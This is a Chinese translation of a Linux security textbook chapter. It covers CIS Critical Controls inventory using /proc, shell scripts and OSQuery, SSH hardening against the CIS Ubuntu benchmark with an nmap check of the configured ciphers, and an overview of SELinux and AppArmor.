与 CIS 基准一样,关键控制由志愿者编写和维护。它们也会随着时间进行修订 - 这是关键的,因为世界随着时间、操作系统和攻击的不断发展而发生变化。虽然 10 年前的威胁仍然存在,但现在我们有新的威胁,我们有新的工具,恶意软件和攻击者使用的方法与 10 年前不同。本节描述了关键控制的第 8 版(于 2021 年发布),但如果您在组织中使用这些控制做决策,请务必参考最新版本。

关键控制(第 8 版)分为三个实施组:

实施组 1(IG1)-基本控制

这些控制是组织通常开始的地方。如果这些都已经就位,那么您可以确保您的组织不再是“群中最慢的羚羊”。这些控制针对较小的 IT 团队和商业/现成的硬件和软件。

实施组 2(IG2)- 中型企业

实施组 2 的控制扩展了 IG1 的控制,为更具体的配置和技术流程提供了技术指导。这组控制针对较大的组织,在那里有一个人或一小组负责信息安全,或者有法规合规要求。

实施组 3(IG3)- 大型企业

这些控制针对已建立的安全团队和流程的较大环境。这些控制中的许多与组织有关 - 与员工和供应商合作,并为事件响应、事件管理、渗透测试和红队演习制定政策和程序。

每个实施组都是前一个的超集,因此 IG3 包括组 1 和 2。每个控制都有几个子部分,正是这些子部分由实施组分类。有关每个控制和实施组的完整描述,关键控制的源文件可免费下载www.cisecurity.org/controls/cis-controls-list/,其中包括点击以获取描述以及详细的 PDF 和 Excel 文档。

现在我们已经讨论了关键控制措施,那么如何将其转化为保护 Linux 主机或您组织中可能看到的基于 Linux 的基础架构呢?让我们看一些具体的例子,从关键控制措施 1 和 2(硬件和软件清单)开始。

开始 CIS 关键安全控制 1 和 2

对网络上的主机和每台主机上运行的软件的准确清单几乎是每个安全框架的关键部分 - 思想是如果您不知道它在那里,就无法保护它。

让我们探讨如何在我们的 Linux 主机上使用零预算方法来实施关键控制 1 和 2。

关键控制 1 - 硬件清单

让我们使用本机 Linux 命令来探索关键控制 1 和 2 - 硬件和软件清单。

硬件清单很容易获得 - 许多系统参数都可以作为文件轻松获得,位于/proc目录中。proc文件系统是虚拟的。/proc中的文件不是真实的文件;它们反映了机器的操作特性。例如,您可以通过查看正确的文件来获取 CPU(此输出仅显示第一个 CPU):

$ cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 158
model name      : Intel(R) Xeon(R) CPU E3-1505M v6 @ 3.00GHz
stepping        : 9
microcode       : 0xde
cpu MHz         : 3000.003
cache size      : 8192 KB
physical id     : 0
siblings        : 1
core id         : 0
cpu cores       : 1
…
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc cpuid pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault invpcid_single pti ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 xsaves arat md_clear flush_l1d arch_capabilities
bugs            : cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit srbds
bogomips        : 6000.00
…

内存信息也很容易找到:

$ cat /proc/meminfo
MemTotal:        8025108 kB
MemFree:         4252804 kB
MemAvailable:    6008020 kB
Buffers:          235416 kB
Cached:          1486592 kB
SwapCached:            0 kB
Active:          2021224 kB
Inactive:         757356 kB
Active(anon):    1058024 kB
Inactive(anon):     2240 kB
Active(file):     963200 kB
Inactive(file):   755116 kB
…

深入挖掘/proc文件系统,我们可以在/proc/sys/net/ipv4中的许多单独的文件中找到各种 IP 或 TCP 参数的设置(此列表已完整并格式化以便更轻松地查看)。

硬件方面,有多种方法可以获取操作系统版本:

$ cat /proc/version
Linux version 5.8.0-38-generic (buildd@lgw01-amd64-060) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #43~20.04.1-Ubuntu SMP Tue Jan 12 16:39:47 UTC 2021
$ cat /etc/issue
Ubuntu 20.04.1 LTS \n \l
$ uname -v
#43~20.04.1-Ubuntu SMP Tue Jan 12 16:39:47 UTC 2021

大多数组织选择将操作系统信息放入硬件清单中,尽管将其放入该机器的软件清单中同样正确。在几乎每个操作系统中,安装的应用程序将以比操作系统更频繁的频率更新,这就是为什么硬件清单如此频繁地被选择的原因。重要的是它记录在一个清单中。在大多数系统中,硬件和软件清单系统是同一个系统,所以这样的讨论就很好地解决了。

lshw命令是一个很好的“给我所有东西”的命令,用于硬件清单——lshw的 man 页面为我们提供了更深入挖掘或更有选择性地显示此命令的附加选项。不过,这个命令可能收集太多信息——你需要有选择地进行收集!

组织通常通过编写脚本来找到一个很好的折衷方案,以收集他们的硬件清单所需的确切信息——例如,下面的简短脚本对基本的硬件和操作系统清单非常有用。它使用了我们迄今为止使用过的几个文件和命令,并通过使用一些新命令进行了扩展:

  • fdisk用于磁盘信息

  • dmesgdmidecode用于系统信息:

echo -n "Basic Inventory for Hostname: "
uname -n
#
echo =====================================
dmidecode | sed -n '/System Information/,+2p' | sed 's/\x09//'
dmesg | grep Hypervisor
dmidecode | grep "Serial Number" | grep -v "Not Specified" | grep -v None
#
echo =====================================
echo "OS Information:"
uname -o -r
if [ -f /etc/redhat-release ]; then
    echo -n "  "
    cat /etc/redhat-release
fi
if [ -f /etc/issue ]; then
    cat /etc/issue
fi
#
echo =====================================
echo "IP information: "
ip ad | grep inet | grep -v "127.0.0.1" | grep -v "::1/128" | tr -s " " | cut -d " " -f 3
# use this line if legacy linux
# ifconfig | grep "inet" | grep -v "127.0.0.1" | grep -v "::1/128" | tr -s " " | cut -d " " -f 3
#
echo =====================================
echo "CPU Information: "
cat /proc/cpuinfo | grep "model name\|MH\|vendor_id" | sort -r | uniq
echo -n "Socket Count: "
cat /proc/cpuinfo | grep processor | wc -l
echo -n "Core Count (Total): "
cat /proc/cpuinfo | grep cores | cut -d ":" -f 2 | awk '{ sum+=$1} END {print sum}'
#
echo =====================================
echo "Memory Information: "
grep MemTotal /proc/meminfo | awk '{print $2,$3}'
#
echo =====================================
echo "Disk Information: "
fdisk -l | grep Disk | grep dev

你的实验 Ubuntu 虚拟机的输出可能如下所示(此示例是虚拟机)。请注意,我们使用了sudo(主要是为了fdisk命令,它需要这些权限):

$ sudo ./hwinven.sh
Basic Inventory for Hostname: ubuntu
=====================================
System Information
Manufacturer: VMware, Inc.
Product Name: VMware Virtual Platform
[    0.000000] Hypervisor detected: VMware
        Serial Number: VMware-56 4d 5c ce 85 8f b5 52-65 40 f0 92 02 33 2d 05
=====================================
OS Information:
5.8.0-45-generic GNU/Linux
Ubuntu 20.04.2 LTS \n \l
=====================================
IP information:
192.168.122.113/24
fe80::1ed6:5b7f:5106:1509/64
=====================================
CPU Information:
vendor_id       : GenuineIntel
model name      : Intel(R) Xeon(R) CPU E3-1505M v6 @ 3.00GHz
cpu MHz         : 3000.003
Socket Count: 2
Core Count (Total): 2
=====================================
Memory Information:
8025036 kB
=====================================
Disk Information:
Disk /dev/loop0: 65.1 MiB, 68259840 bytes, 133320 sectors
Disk /dev/loop1: 55.48 MiB, 58159104 bytes, 113592 sectors
Disk /dev/loop2: 218.102 MiB, 229629952 bytes, 448496 sectors
Disk /dev/loop3: 217.92 MiB, 228478976 bytes, 446248 sectors
Disk /dev/loop5: 64.79 MiB, 67915776 bytes, 132648 sectors
Disk /dev/loop6: 55.46 MiB, 58142720 bytes, 113560 sectors
Disk /dev/loop7: 51.2 MiB, 53501952 bytes, 104496 sectors
Disk /dev/fd0: 1.42 MiB, 1474560 bytes, 2880 sectors
Disk /dev/sda: 40 GiB, 42949672960 bytes, 83886080 sectors
Disk /dev/loop8: 32.28 MiB, 33845248 bytes, 66104 sectors
Disk /dev/loop9: 51.4 MiB, 53522432 bytes, 104536 sectors
Disk /dev/loop10: 32.28 MiB, 33841152 bytes, 66096 sectors
Disk /dev/loop11: 32.28 MiB, 33841152 bytes, 66096 sectors

有了填充硬件清单所需的信息,接下来让我们看看我们的软件清单。

关键控制 2——软件清单

要清点所有已安装的软件包,可以使用aptdpkg命令。我们将使用这个命令来获取已安装软件包的列表:

$ sudo apt list --installed | wc -l
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.
1735

请注意,有这么多软件包时,最好要么知道自己在寻找什么并提出具体的请求(也许使用grep命令),要么收集多台主机的所有信息,然后使用数据库找出在某一方面不匹配的主机。

dpkg命令将为我们提供类似的信息:

dpkg -
Name                                 Version                 Description
====================================================================================
acpi-support               0.136.1                scripts for handling many ACPI events
acpid                      1.0.10-5ubuntu2.1      Advanced Configuration and Power Interfacee
adduser                    3.112ubuntu1           add and remove users and groups
adium-theme-ubuntu         0.1-0ubuntu1           Adium message style for Ubuntu
adobe-flash-properties-gtk 10.3.183.10-0lucid1    GTK+ control panel for Adobe Flash Player pl
.... and so on ....

要获取软件包中包含的文件,使用以下命令:

robv@ubuntu:~$ dpkg -L openssh-client
/.
/etc
/etc/ssh
/etc/ssh/ssh_config
/etc/ssh/ssh_config.d
/usr
/usr/bin
/usr/bin/scp
/usr/bin/sftp
/usr/bin/ssh
/usr/bin/ssh-add
/usr/bin/ssh-agent
….

要列出大多数 Red Hat 发行版中安装的所有软件包,请使用以下命令:

$ rpm -qa
libsepol-devel-2.0.41-3.fc13.i686
wpa_supplicant-0.6.8-9.fc13.i686
system-config-keyboard-1.3.1-1.fc12.i686
libbeagle-0.3.9-5.fc12.i686
m17n-db-kannada-1.5.5-4.fc13.noarch
pptp-1.7.2-9.fc13.i686
PackageKit-gtk-module-0.6.6-2.fc13.i686
gsm-1.0.13-2.fc12.i686
perl-ExtUtils-ParseXS-2.20-121.fc13.i686
... (and so on)

要获取有关特定软件包的更多信息,使用rpm -qi

$ rpm -qi python
Name        : python                       Relocations: (not relocatable)
Version     : 2.6.4                             Vendor: Fedora Project
Release     : 27.fc13                       Build Date: Fri 04 Jun 2010 02:22:55 PM EDT
Install Date: Sat 19 Mar 2011 08:21:36 PM EDT      Build Host: x86-02.phx2.fedoraproject.org
Group       : Development/Languages         Source RPM: python-2.6.4-27.fc13.src.rpm
Size        : 21238314                         License: Python
Signature   : RSA/SHA256, Fri 04 Jun 2010 02:36:33 PM EDT, Key ID 7edc6ad6e8e40fde
Packager    : Fedora Project
URL         : http://www.python.org/
Summary     : An interpreted, interactive, object-oriented programming language
Description :
Python is an interpreted, interactive, object-oriented programming
....
(and so on)

要获取所有软件包的更多信息(可能是太多信息),使用rpm -qia

这些清单,正如你所看到的,非常细致和完整。你可以选择清点所有东西——即使是完整的文本清单(没有数据库)也是有价值的。如果你有两台相似的主机,你可以使用diff命令来查看两台相似工作站之间的差异(一台工作,一台不工作)。

或者,如果你在进行故障排除,通常会检查已安装的版本与已知的错误、文件日期与已知的安装日期等是否匹配。

迄今为止讨论的清单方法都是 Linux 本地的,但并不适合管理一大批主机,甚至不适合很好地管理一台主机。让我们来探索 OSQuery,这是一个管理软件包,可以简化在许多关键控制和/或任何你可能需要遵守的监管框架上取得进展。

OSQuery——关键控制 1 和 2,添加控制 10 和 17

与维护成千上万行文本文件作为清单不同,更常见的方法是使用实际的应用程序或平台来维护你的清单——可以是在主机上实时进行,可以是在数据库中,也可以是两者的结合。OSQuery 是一个常见的平台。它为管理员提供了一个类似数据库的接口,用于目标主机上的实时信息。

OSQuery 是一个常见的选择,因为它可以处理最流行的 Linux 和 Unix 变体、macOS 和 Windows,都在一个界面中。让我们深入了解这个流行平台的 Linux 部分。

首先,要安装 OSQuery,我们需要添加正确的存储库。对于 Ubuntu,使用以下命令:

$ echo "deb [arch=amd64] https://pkg.osquery.io/deb deb main" | sudo tee /etc/apt/sources.list.d/osquery.list

接下来,导入存储库的签名密钥:

$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B

然后,更新软件包列表:

$ sudo apt update

最后,我们可以安装osquery

$ sudo apt-get install osquery

OSQuery 有三个主要组件:

安装完成后,让我们来探索交互式 shell。请注意,如果没有设置守护程序并“连接”你的各种主机,我们使用的是一个虚拟数据库,只查看我们的本地主机:

robv@ubuntu:~$ osqueryi
Using a virtual database. Need help, type '.help'
osquery> .help
Welcome to the osquery shell. Please explore your OS!
You are connected to a transient 'in-memory' virtual database.
.all [TABLE]     Select all from a table
.bail ON|OFF     Stop after hitting an error
.echo ON|OFF     Turn command echo on or off
.exit            this program
.features        List osquery's features and their statuses
.headers ON|OFF  Turn display of headers on or off
.help            Show this message
….

接下来让我们来看看我们可以使用的数据库表:

osquery> .tables
  => acpi_tables
  => apparmor_events
  => apparmor_profiles
  => apt_sources
  => arp_cache
  => atom_packages
  => augeas
  => authorized_keys
  => azure_instance_metadata
  => azure_instance_tags
  => block_devices
  => bpf_process_events
  => bpf_socket_events
….

有数十个表格来跟踪各种系统参数。让我们来看看操作系统版本,例如:

osquery> select * from os_version;
+--------+---------------------------+-------+-------+-------+-------+----------+---------------+----------+--------+
| name   | version                   | major | minor | patch | build | platform | platform_like | codename | arch   |
+--------+---------------------------+-------+-------+-------+-------+----------+---------------+----------+--------+
| Ubuntu | 20.04.1 LTS (Focal Fossa) | 20    | 4     | 0     |       | ubuntu   | debian        | focal    | x86_64 |

或者,要收集本地接口 IP 和子网掩码,不包括环回接口,使用以下命令:

osquery> select interface,address,mask from interface_addresses where interface NOT LIKE '%lo%';
+-----------+---------------------------------+-----------------------+
| interface | address                         | mask                  |
+-----------+---------------------------------+-----------------------+
| ens33     | 192.168.122.170                 | 255.255.255.0         |
| ens33     | fe80::1ed6:5b7f:5106:1509%ens33 | ffff:ffff:ffff:ffff:: |
+-----------+---------------------------------+-----------------------+

或者,要检索本地 ARP 缓存,请使用以下命令:

osquery> select * from arp_cache;
+-----------------+-------------------+-----------+-----------+
| address         | mac               | interface | permanent |
+-----------------+-------------------+-----------+-----------+
| 192.168.122.201 | 3c:52:82:15:52:1b | ens33     | 0         |
| 192.168.122.1   | 00:0c:29:3b:73:cb | ens33     | 0         |
| 192.168.122.241 | 40:b0:34:72:48:e4 | ens33     | 0         |

或者,列出已安装的软件包(请注意,此输出限制为 2):

osquery> select * from deb_packages limit 2;
+-----------------+--------------------------+--------+------+-------+-------------------+----------------------+-----------------------------------------------------------+---------+----------+
| name            | version                  | source | size | arch  | revision          | status               | maintainer                                                | section | priority |
+-----------------+--------------------------+--------+------+-------+-------------------+----------------------+-----------------------------------------------------------+---------+----------+
| accountsservice | 0.6.55-0ubuntu12~20.04.4 |        | 452  | amd64 | 0ubuntu12~20.04.4 | install ok installed | Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com> | admin   | optional |
| acl             | 2.2.53-6                 |        | 192  | amd64 | 6                 | install ok installed | Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com> | utils   | optional |
+-----------------+--------------------------+--------+------+-------+-------------------+----------------------+-----------------------------------------------------------+---------+----------+

您还可以查询运行中的进程(显示限制为 10):

osquery> SELECT pid, name FROM processes order by start_time desc limit 10;
+-------+----------------------------+
| pid   | name                       |
+-------+----------------------------+
| 34790 | osqueryi                   |
| 34688 | sshd                       |
| 34689 | bash                       |
| 34609 | sshd                       |
| 34596 | systemd-resolve            |
| 34565 | dhclient                   |
| 34561 | kworker/0:3-cgroup_destroy |
| 34562 | kworker/1:3-events         |
| 34493 | kworker/0:0-events         |
| 34494 | kworker/1:2-events         |
+-------+----------------------------+

我们可以向我们的进程列表添加额外的信息。让我们为每个进程添加SHA256哈希值。哈希是一种可以唯一标识数据的数学函数。例如,如果您有两个具有不同名称但相同哈希的文件,它们很可能是相同的。虽然总会有一小部分可能性会出现哈希“碰撞”(两个非相同文件的相同哈希),但使用不同算法再次对它们进行哈希处理可以消除任何不确定性。在取证中广泛使用哈希数据工件-特别是在收集证据以证明责任链完整性方面。

即使在取证分析中,单个哈希值通常足以确定唯一性(或不确定性)。

这对运行进程意味着什么?如果您的恶意软件在每个实例中使用随机名称以规避检测,那么在所有 Linux 主机的 RAM 中对进程进行哈希处理,可以让您找到在不同主机上以不同名称运行的相同进程:

osquery> SELECT DISTINCT h.sha256, p.name, u.username
    ...> FROM processes AS p
    ...> INNER JOIN hash AS h ON h.path = p.path
    ...> INNER JOIN users AS u ON u.uid = p.uid
    ...> ORDER BY start_time DESC
    ...> LIMIT 5;
+------------------------------------------------------------------+-----------------+----------+
| sha256                                                           | name            | username |
+------------------------------------------------------------------+-----------------+----------+
| 45fc2c2148bdea9cf7f2313b09a5cc27eead3460430ef55d1f5d0df6c1d96 ed4 | osqueryi        | robv     |
| 04a484f27a4b485b28451923605d9b528453d6c098a5a5112bec859fb5f2 eea9 | bash            | robv     |
| 45368907a48a0a3b5fff77a815565195a885da7d2aab8c4341c4ee869af4 c449 | gvfsd-metadata  | robv     |
| d3f9c91c6bbe4c7a3fdc914a7e5ac29f1cbfcc3f279b71e84badd25b313f ea45 | update-notifier | robv     |
| 83776c9c3d30cfc385be5d92b32f4beca2f6955e140d72d857139d2f7495 af1e | gnome-terminal- | robv     |
+------------------------------------------------------------------+-----------------+----------+

这个工具在事件响应情况下特别有效。通过我们在这几页中列出的查询,我们可以快速找到具有特定操作系统或软件版本的主机-换句话说,我们可以找到容易受到特定攻击的主机。此外,我们可以收集所有运行进程的哈希值,以找到可能伪装成良性进程的恶意软件。所有这些都可以通过只进行几次查询来完成。

最后一部分将关键控件中的高级指令转换为 Linux 中的“实用”命令,以实现这些目标。让我们看看这与更具规范性和操作系统或应用程序特定的安全指导有何不同-在这种情况下,将 CIS 基准应用于主机实施。

互联网安全中心基准

CIS 发布描述任何数量基础设施组件的安全配置的安全基准。这包括几种不同 Linux 发行版的所有方面,以及可能部署在 Linux 上的许多应用程序。这些基准非常“规范”-基准中的每个建议都描述了问题,如何使用操作系统命令或配置解决问题,以及如何对当前设置的状态进行审计。

CIS 基准的一个非常吸引人的特点是,它们是由一群行业专家编写和维护的,他们自愿投入时间使互联网变得更安全。虽然供应商参与制定这些文件,但它们是团体努力的最终建议需要团体的共识。最终结果是一个与供应商无关、共识和社区驱动的具有非常具体建议的文件。

CIS 基准旨在构建更好的平台(无论平台是什么),并且可以进行审计,因此每个建议都有补救和审计部分。对每个基准的详细解释至关重要,这样管理员不仅知道他们在改变什么,还知道为什么。这一点很重要,因为并非所有建议都适用于每种情况,事实上,有时建议会相互冲突,或者导致目标系统上的特定事物无法正常工作。这些情况在文件中描述,但这强调了不要将所有建议都最大程度地实施的重要性!这也清楚地表明,在审计情况下,追求“100%”并不符合任何人的最佳利益。

这些基准的另一个关键特点是它们通常是两个基准合二为一-对“常规”组织会有建议,对更高安全性环境则有更严格的建议。

CIS 确实维护一个审计应用程序CIS-CAT配置评估工具),它将根据其基准评估基础架构,但许多行业标准工具,如安全扫描仪(如 Nessus)和自动化工具(如 Ansible、Puppet 或 Chef),将根据适用的 CIS 基准评估目标基础架构。

现在我们了解了基准的目的,让我们来看看 Linux 基准,特别是其中一组建议。

应用 CIS 基准-在 Linux 上保护 SSH

在保护服务器、工作站或基础架构平台时,有一个想要保护的事项清单以及如何实现的清单会很有帮助。这就是 CIS 基准的用途。正如讨论的那样,您可能永远不会完全在任何一个主机上实施所有 CIS 基准的建议-安全建议通常会损害或禁用您可能需要的服务,并且有时建议会相互冲突。这意味着基准通常会经过仔细评估,并被用作组织特定构建文档的主要输入。

让我们使用 Ubuntu 20.04 的 CIS 基准来保护我们主机上的 SSH 服务。SSH 是远程连接和管理 Linux 主机的主要方法。这使得在 Linux 主机上保护 SSH 服务器成为一项重要任务,并且通常是建立网络连接后的第一个配置任务。

首先,下载基准-所有平台的基准文档位于www.cisecurity.org/cis-benchmarks/。如果您不是运行 Ubuntu 20.04,请下载与您的发行版最接近的基准。您会发现 SSH 是一种非常常见的服务,用于保护 SSH 服务的建议在发行版之间非常一致,并且在非 Linux 平台上通常有相匹配的建议。

在开始之前,更新存储库列表并升级操作系统软件包-再次注意我们如何同时运行两个命令。在命令上使用单个&终止符会将其在后台运行,但使用&&会按顺序运行两个命令,第二个命令在第一个成功完成时执行(也就是说,如果它具有零的“返回值”):

$ sudo apt-get update && sudo apt-get upgrade

您可以在bash man页面上了解更多信息(执行man bash)。

现在,操作系统组件已更新,让我们安装 SSH 守护程序,因为它在 Ubuntu 上默认情况下未安装:

$ sudo apt-get install openssh-server

在现代 Linux 发行版中,这将安装 SSH 服务器,然后进行基本配置并启动服务。

现在让我们开始保护它。在 Ubuntu 基准中查看 SSH 部分,我们看到了 22 个不同的配置设置的建议:

  • 5.2 配置 SSH 服务器。

  • 5.2.1 确保配置了/etc/ssh/sshd_config的权限。

  • 5.2.2 确保配置了 SSH 私有主机密钥文件的权限。

  • 5.2.3 确保配置了 SSH 公共主机密钥文件的权限。

  • 5.2.4 确保 SSHLogLevel适当。

  • 5.2.5 确保禁用 SSH X11 转发。

  • 5.2.6 确保 SSHMaxAuthTries设置为4或更少。

  • 5.2.7 确保启用了 SSHIgnoreRhosts

  • 5.2.8 确保禁用了 SSHHostbasedAuthentication

  • 5.2.9 确保 SSH 根登录已禁用。

  • 5.2.10 确保禁用了 SSHPermitEmptyPasswords

  • 5.2.11 确保禁用了 SSHPermitUserEnvironment

  • 5.2.12 确保仅使用强大的密码。

  • 5.2.13 确保仅使用强大的 MAC 算法。

  • 5.2.14 确保仅使用强大的密钥交换算法。

  • 5.2.15 确保配置了 SSH 空闲超时间隔。

  • 5.2.16 确保 SSHLoginGraceTime设置为一分钟或更短。

  • 5.2.17 确保限制了 SSH 访问。

  • 5.2.18 确保配置了 SSH 警告横幅。

  • 5.2.19 确保启用了 SSH PAM。

  • 5.2.20 确保禁用 SSHAllowTcpForwarding

  • 5.2.21 确保配置了 SSHMaxStartups

  • 5.2.22 确保限制了 SSHMaxSessions

为了说明这些工作原理,让我们更详细地看一下两个建议 - 禁用 root 用户的直接登录(5.2.9)和确保我们的加密密码是字符串(5.2.12)。

确保 SSH root 登录已禁用(5.2.9)

这个建议是确保用户都使用他们的命名帐户登录 - 用户“root”不应该直接登录。这确保了任何可能指示配置错误或恶意活动的日志条目将附有一个真实的人名。

这个术语叫做“不可否认性” - 如果每个人都有自己的命名帐户,而且没有“共享”帐户,那么在发生事故时,没有人可以声称“每个人都知道那个密码,不是我”。

这个审计命令是运行以下命令:

$ sudo sshd -T | grep permitrootlogin
permitrootlogin without-password

这个默认设置是不符合要求的。我们希望这个是“no”。without-password值表示您可以使用非密码方法(如使用证书)以 root 用户身份登录。

为了解决这个问题,我们将在补救部分查找。这告诉我们编辑/etc/ssh/sshd_config文件,并添加PermitRootLogin no这一行。PermitRootLogin被注释掉了(用#字符),所以我们要么取消注释,要么更好的是直接在注释值下面添加我们的更改,如下所示:

图 5.1 - 对 sshd_config 文件的编辑,以拒绝 SSH 上的 root 登录

图 5.1 - 对 sshd_config 文件的编辑,以拒绝 SSH 上的 root 登录

现在我们将重新运行我们的审计检查,我们会看到我们现在符合要求了:

$ sudo sshd -T | grep permitrootlogin
permitrootlogin no

实施了这个建议后,让我们看看我们在 SSH 密码上的情况(CIS 基准建议 5.2.12)。

确保只使用强密码(5.2.12)

这个检查确保只使用强密码来加密实际的 SSH 流量。审计检查表明我们应该再次运行sshd –T,并查找“ciphers”行。我们希望确保我们只启用已知的字符串密码,目前这是一个短列表:

  • aes256-ctr

  • aes192-ctr

  • aes128-ctr

特别是,SSH 的已知弱密码包括任何DES3DES算法,或任何块密码(附加了cbc)。

让我们检查我们当前的设置:

$ sudo sshd -T | grep Ciphers
ciphers chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com

虽然我们在列表中有已知符合要求的密码,但我们也有一些不符合要求的密码。这意味着攻击者可以在适当的位置“降级”协商的密码为一个不太安全的密码,当会话建立时。

在补救部分,我们被指示查看同一个文件并更新“ciphers”行。在文件中,根本没有“Ciphers”行,只有一个Ciphers and keyring部分。这意味着我们需要添加那一行,如下所示:

# Ciphers and keying
Ciphers aes256-ctr,aes192-ctr,aes128-ctr

保持注释不变。例如,如果以后需要密钥环,那么可以在那里找到它们的占位符。尽可能保留或添加尽可能多的注释是明智的 - 保持配置尽可能“自我记录”是使下一个可能需要排除您刚刚做出的更改的人的工作变得容易的好方法。特别是,如果多年过去了,那么下一个人是您自己的未来版本!

接下来,我们将重新加载sshd守护程序,以确保我们所有的更改都生效:

$ sudo systemctl reload sshd

最后,重新运行我们的审计检查:

$ cat sshd_config | grep Cipher
# Ciphers and keying
Ciphers aes256-ctr,aes192-ctr,aes128-ctr

成功!

我们如何在我们的主机上检查密码支持?这个密码更改是一个重要的设置,很可能需要在许多系统上设置,其中一些可能没有一个可以直接编辑的 Linux 命令行或sshd_config文件。回想一下上一章。我们将使用nmap从远程系统检查这个设置,使用ssh2-enum-algos.nse脚本。我们将查看密码的Encryption Algorithms脚本输出部分:

$ sudo nmap -p22 -Pn --open 192.168.122.113 --script ssh2-enum-algos.nse
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-08 15:22 Eastern Standard Time
Nmap scan report for ubuntu.defaultroute.ca (192.168.122.113)
Host is up (0.00013s latency).
PORT   STATE SERVICE
22/tcp open  ssh
| ssh2-enum-algos:
|   kex_algorithms: (9)
|       curve25519-sha256
|       curve25519-sha256@libssh.org
|       ecdh-sha2-nistp256
|       ecdh-sha2-nistp384
|       ecdh-sha2-nistp521
|       diffie-hellman-group-exchange-sha256
|       diffie-hellman-group16-sha512
|       diffie-hellman-group18-sha512
|       diffie-hellman-group14-sha256
|   server_host_key_algorithms: (5)
|       rsa-sha2-512
|       rsa-sha2-256
|       ssh-rsa
|       ecdsa-sha2-nistp256
|       ssh-ed25519
|   encryption_algorithms: (3)
|       aes256-ctr
|       aes192-ctr
|       aes128-ctr
|   mac_algorithms: (10)
|       umac-64-etm@openssh.com
|       umac-128-etm@openssh.com
|       hmac-sha2-256-etm@openssh.com
|       hmac-sha2-512-etm@openssh.com
|       hmac-sha1-etm@openssh.com
|       umac-64@openssh.com
|       umac-128@openssh.com
|       hmac-sha2-256
|       hmac-sha2-512
|       hmac-sha1
|   compression_algorithms: (2)
|       none
|_      zlib@openssh.com
MAC Address: 00:0C:29:E2:91:BC (VMware)
Nmap done: 1 IP address (1 host up) scanned in 4.09 seconds

使用第二个工具来验证您的配置是一个重要的习惯 - 虽然 Linux 是一个可靠的服务器和工作站平台,但是会出现错误。此外,很容易在进行更改后退出时不小心没有保存配置更改 - 使用另一个工具进行双重检查是确保一切都如预期的好方法!

最后,如果您曾经接受过审计,安排进行渗透测试,或者在您的网络上实际上有恶意软件,那么在每种情况下都很可能进行网络扫描以寻找弱算法(或更糟糕的是,明文 Telnet 或rsh)。如果您使用与攻击者(或审计人员)相同的工具和方法,您更有可能捕捉到被忽略的那一台主机或者那一组具有您意料之外的 SSH 漏洞的主机!

您应该检查哪些其他关键事项?虽然值得检查 SSH 的所有设置,但在每种情况和环境中,其中一些是关键的:

  • 检查您的 SSH 日志级别,以便知道谁从哪个 IP 地址登录(5.2.4)。

  • 密钥交换和 MAC 算法检查与密码检查类似;它们加强了协议本身(5.2.13 和 5.2.14)。

  • 您需要设置一个空闲超时(5.2.15)。这很重要,因为无人看管的管理员登录可能是一件危险的事情,例如,如果管理员忘记锁定屏幕。此外,如果有人习惯于关闭他们的 SSH 窗口而不是注销,那么在许多平台上这些会话不会关闭。如果达到最大会话数(经过几个月后),下一次连接尝试将失败。要解决这个问题,您需要到物理屏幕和键盘上解决这个问题(例如重新启动 SSHD)或重新加载系统。

  • 您需要设置MaxSessions 限制(5.2.22)。特别是如果您的主机面临敌对网络(这是现在的每个网络),一个简单地开始数百个 SSH 会话的攻击可能会耗尽主机上的资源,影响其他用户可用的内存和 CPU。

尽管如此,应该审查和评估基准的每个部分中的每个建议,以查看它对您的环境是否合适。在这个过程中,通常会为您的环境创建一个构建文档,一个可以用作模板来克隆生产主机的“金像”主机,以及一个审计脚本或加固脚本,以帮助维护正在运行的主机。

SELinux 和 AppArmor

Linux 有两个常用的 Linux 安全模块(LSMs),它们为系统添加了额外的安全策略、控制和更改默认行为。在许多情况下,它们修改了 Linux 内核本身。它们都适用于大多数 Linux 发行版,并且在实施时都带有一定程度的风险 - 您需要在实施之前做一些准备工作,以评估实施其中一个可能产生的影响。不建议同时实施两者,因为它们很可能会发生冲突。

SELinux 可以说更加完整,而且管理起来肯定更加复杂。它是一组添加到基本安装中的内核修改和工具。在高层次上,它分离了安全策略的配置和执行。控制包括强制访问控制、强制完整性控制、基于角色的访问控制(RBAC)和类型强制。

SELinux 的功能包括以下内容:

  • 将安全策略的定义与执行分开。

  • 定义安全策略的明确定义的接口(通过工具和 API)。

  • 允许应用程序查询策略定义或特定访问控制。一个常见的例子是允许crond在正确的上下文中运行计划任务。

  • 支持修改默认策略或创建全新的自定义策略。

  • 保护系统完整性(域完整性)和数据保密性(多级安全)的措施。

  • 对进程初始化、执行和继承进行控制。

  • 对文件系统、目录、文件和打开文件描述符(例如管道或套接字)的额外安全控制。

  • 套接字、消息和网络接口的安全控制。

  • 对“能力”(RBAC)的使用进行控制。

  • 在可能的情况下,策略中不允许的任何内容都将被拒绝。这种“默认拒绝”方法是 SELinux 的根本设计原则之一。

AppArmor具有与 SELinux 许多相同的功能,但它使用文件路径而不是对文件应用标签。它还实施了强制访问控制。您可以为任何应用程序分配安全配置文件,包括文件系统访问、网络权限和执行规则。这个列表也很好地概述了 AppArmor 也实施了 RBAC。

